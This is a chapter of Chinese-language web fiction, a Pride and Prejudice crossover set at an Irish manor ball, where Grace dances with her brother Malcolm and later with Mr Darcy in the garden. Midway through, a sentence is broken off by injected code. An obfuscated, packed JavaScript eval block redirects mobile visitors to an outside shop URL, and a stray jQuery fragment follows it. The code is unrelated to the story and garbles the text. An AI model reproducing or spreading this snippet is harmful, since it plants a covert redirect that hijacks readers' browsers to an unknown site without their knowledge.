夜幕降临，格伦莫尔庄园外已是一派繁华的景象。一辆接一辆装饰考究的马车驶入庄园正门。
盛装打扮的宾客们在仆人的引导下络绎而入，欢快的交谈声与大厅里正在调音的琴声交织在一起，彻底打破了这座庄园连日来的沉寂。
格蕾丝正坐在梳妆台前，为舞会做着最后的准备。她在那些耀眼的衣物中挑拣了一番，最终选择了一件简约雅致的礼裙。
这件晚装裙身采用了质地轻盈的象牙白色丝绸细布，用一条银色暗纹缎带勾勒出她纤细的腰身；裙摆如流水般自然垂坠而下，随着她的动作泛起柔和的光泽。
女仆梅芙手脚麻利地将格蕾丝那一头红金色的头发挽成了一个古典精致的发髻，并用一根镶嵌着细碎钻石与珍珠的发带巧妙地缠绕固定。
梅芙打开那些精致的匣子，正准备为主人挑选合适的珠宝。格蕾丝却先一步抬手制止。她转过身，从自己的梳妆匣深处，取出了那对达西先生在都柏林饰品店里为她精心挑选的祖母绿鸢尾珍珠耳环。她对着镜子，将它们仔细地戴在耳垂上。
一切准备就绪，格蕾丝推开房门，发现马尔科姆和达西已经在不远处的走廊上等候多时。
“哦，菲欧娜……你今晚真是太美了。这才是凯利家族大小姐应有的模样。”
达西先生站在半步之外，没有说话。他那双深褐色的眼眸紧紧地锁定在格蕾丝身上，饱含柔情与赞叹。
忽然，马尔科姆注意到格蕾丝耳畔的饰品，眉头一挑，问道：“这副耳环真是别致，不过，这似乎并不是我派人送来的那一批。它们是哪里来的？”
格蕾丝支支吾吾地想要敷衍过去：“这……这是一件旧物，我觉得它很配这身裙子。”
说话间，她飞速地向站在哥哥身后的达西先生瞥了一眼。
马尔科姆将妹妹的反常尽收眼底。他眯起眼睛，露出意味深长的微笑。但他并没有当面点破，而是巧妙地转移了话题。
“无论如何，你今晚完美无瑕。”马尔科姆朝格蕾丝伸出臂弯，“走吧，菲欧娜。我们一会儿要一起跳开场舞。”
格蕾丝没有拒绝的理由。在转身走向楼梯的那一刻，她忍不住回过头，再次看向了不远处的达西先生。
兄妹俩踏上通往大厅的大理石楼梯，热闹喧闹的舞厅顷刻安静。众人目光纷纷投向这位失而复得的大小姐。
格蕾丝在马尔科姆的引领下，开始接受各色有头有脸的人物的引荐。乡绅、贵族、富商们纷纷上前，用最华丽的辞藻表达着对格蕾丝平安归来的祝福与惊叹。对此，格蕾丝始终保持着优雅的仪态，回以礼貌的微笑。
其中有一位女士的存在显得格外突兀。她叫卡拉·汤普森，身材高挑，棕发蓝眸，一袭热烈的深红色天鹅绒礼裙将她衬得美艳惊人。她的言行举止充满野性与鲜活，与周围那些拘谨的贵妇全然不同。
卡拉端着酒杯，大步穿过人群。在看到格蕾丝的那一刻，她那双明亮的眼睛里迸发出难以置信的惊喜。她甚至顾不得马尔科姆在场，兴奋地呼喊出声。
“菲欧娜！哦，老天啊，真的是你！”
她激动地上前，试图给格蕾丝一个热烈的拥抱，却在触及那张满是陌生、疑惑甚至带着防备的脸庞时，硬生生地停住了脚步。
“你……怎么了，亲爱的？你不认得我了？我是卡拉啊！”
然而，还不等她把话说完，一阵悠扬的音乐声便在大厅中央响了起来。开场舞的时间到了，人群熙熙攘攘地涌入舞池。
卡拉无奈地被挤到一旁，只能在远处用一种充满探究的目光打量着格蕾丝。
马尔科姆和格蕾丝站在领舞的位置，成为全场的焦点。他们的带头示范无可挑剔，举手投足间皆透出独属于名门望族的高贵优雅。
开场舞结束后，身为庄园主人的马尔科姆紧接着又投入到了繁重的社交之中。他携着格蕾丝的手，将她一一介绍给那些老凯利先生的世交和爱尔兰的显贵们。
达西先生也很快被几位熟识的爱尔兰商人和贵族包围，被迫陷入了关于伦敦社交圈和议会法案的冗长攀谈中。
时间在推杯换盏与衣香鬓影中悄然流逝，舞厅的歌曲已经换过好几轮。这时，一阵炽热的音符突然响起。
这首舞曲饱含爱尔兰本土韵味，小提琴、风笛与长笛齐鸣，奏响着昂扬明快的鲜活旋律。整个大厅的氛围瞬间被重新点燃，所有人都迫不及待地投入到舞动的快乐里。
“来吧！妹妹，这样欢快的乐曲可不能错过。我们再去跳一曲吧！”马尔科姆再次向格蕾丝发出跳舞邀请。
格蕾丝看着那些随性旋转的舞伴，心中不禁有些发虚。她凑近马尔科姆的耳边悄声说道：“哥哥……我恐怕不会跳这种舞蹈，我从前只学过乡村舞。”
马尔科姆看着她慌乱的神情，轻声笑了起来。他握紧她的手，宽慰道：“别怕，菲欧娜。这里不需要那么多规矩。你只要跟着我的舞步，放轻松就好。”
格蕾丝只好硬着头皮，与马尔科姆步入舞池中央。
一开始的几分钟里，格蕾丝的身姿极其僵硬；她全神贯注地盯着脚下，生怕出错。然而，舞蹈的节奏实在太快，在一次旋转中，她还是不可避免地踩到了马尔科姆的皮鞋。
“非常抱歉！”格蕾丝羞愧得脸颊通红。
“专心，我的妹妹。”马尔科姆并没有生气，反而带着她加快了旋转的速度，引导她融入那欢快的节奏中。
舞曲进行到一半时，格蕾丝那紧绷的神经终于在富有感染力的音乐中渐渐放松了下来。她开始习惯这种轻快的步伐，甚至能感受到裙摆在空气中翻飞时的惬意。
偶尔有几次，她会不熟练地踏错节拍，或是差点失去平衡。不过这些让人窘迫的小错误都被马尔科姆眼疾手快地化解。
然而，站在舞池边缘旁观的达西先生，心中却悄然生出了一股异样的情绪。他眼见格蕾丝与另一个男人——哪怕那是她的哥哥，在众人的注视下如此快乐地起舞，失落的酸涩感在他的血液中无声地蔓延开来。
一曲终了，大厅里爆发出热烈的掌声。兄妹两人停下脚步，都因为剧烈的运动而微微喘息着。他们相视一笑，眼中满是欢愉。
紧接着，马尔科姆被一群高谈阔论的绅士们簇拥离开，格蕾丝也被一些热情得让人窒息的贵妇人围住寒暄。不知过了多久，她才终于以需要休息为由，从她们无休无止的问候中脱身而出。
她试图在人群中搜寻那个熟悉的身影，良久，才在一个僻静无人的休息区里找到了达西先生。他独自坐在一张高背椅上，手里端着一杯红酒，正望着远处的虚空出神。他周身散发出拒人于千里之外的气质，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600093|203965||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在整个喧嚣的舞会中显得格格不入。
格蕾丝提起裙摆，穿过三三两两的人群，径直走到他的面前。
“达西先生，”格蕾丝眼睛里闪烁着狡黠的光芒，“屋里实在是太嘈杂了，空气也闷得慌。如果不介意的话，能否劳驾你陪我去后花园里散散心？”
达西先生抬头望向她，眼中的孤寂瞬间冰雪消融。他立刻站起身，毫不犹豫地将酒杯放在一旁的托盘上。
“这是我的荣幸，格蕾丝。”
两人并肩穿过走廊，推开一楼的落地玻璃门，步入了宁静的后花园。
初秋的夜风瞬间吹散了大厅里带出的燥热。花园里没有点太多灯，只有皎洁的月光如薄纱般倾泻在修剪整齐的紫杉树篱和那片盛开的白色蔷薇花丛上。
他们沿着小径漫步，彼此都没有说话，只是享受着难得的静谧时光。
走了一段路后，格蕾丝转过头打趣道：“达西先生，我刚才看到你独自坐在那里，眉头紧锁。你是不是依然不太习惯这样嘈杂拥挤的社交场景？”
“我确实不擅长应对这种场合，那些无意义的寒暄和拥挤的人群，总是让我感到难以忍受。”
格蕾丝停下脚步，回忆起往昔，眼中的戏谑更深了。
“这不禁让我回想起我们初次在梅里顿舞会见面的情形。那天晚上，你也是像今晚这样，带着一副几乎可以说是痛苦的表情站在角落里，对所有人都冷若冰霜。甚至——”
她故意拖长了语调，模仿着他当时那种高高在上的口吻：“甚至当宾利先生劝你去跳舞时，你还看着坐在那里受冷落的伊丽莎白，说出了一句至理名言：‘她姿色平平，并不足以打动我的心’。”
听到她翻出这桩旧账，达西先生那张向来沉稳的脸上闪过一阵窘迫。他无奈地摇了摇头：“格蕾丝，那是我一生中说过最愚蠢、最傲慢的一句话。我为此付出了极大的代价，并且至今仍在为自己当时的狭隘感到羞愧。请发发慈悲，饶恕我那时的狂妄吧。”
格蕾丝终于忍不住，发出了清脆的笑声。达西被她深深感染，也跟着低声笑了起来。
就在这时，大厅里响起一首舒缓缠绵的圆舞曲。悠扬的琴声隐隐约约地飘荡在花园里。
格蕾丝做出了一个令达西意想不到的举动。她退后半步，提起裙摆优雅地行了一个屈膝礼，随后向他伸出了一只手。
“那么，为了补偿你在梅里顿受到的折磨，不知道这位来自德比郡的骄傲绅士，是否愿意在这个远离家乡的爱尔兰花园里，与我共舞一曲？”
达西先生深吸了一口气，感觉到自己的心脏在胸腔里剧烈地跳动着。他没有迟疑，上前一步握住她的手。
“我求之不得。”
两人伴随着舒缓的乐曲，在白蔷薇花丛旁翩翩起舞。
他们的舞步十分默契，每一个旋转、每一个进退，都自然流露、浑然天成。格蕾丝仿佛回到了在内瑟菲尔德庄园的那场舞会，熟悉的安全感让她在异乡的夜晚彻底放下了所有的防备。
然而，二楼的阳台上，马尔科姆静静地站在阴影里。他冷眼俯视着花园中那对共舞的身影。
他端起手里那杯琥珀色的威士忌，仰起头一饮而尽，辛辣的液体顺着喉咙灼烧而下。他掏出洁白的手帕擦拭嘴角，随即转身，将自己彻底隐没在窗帘之后。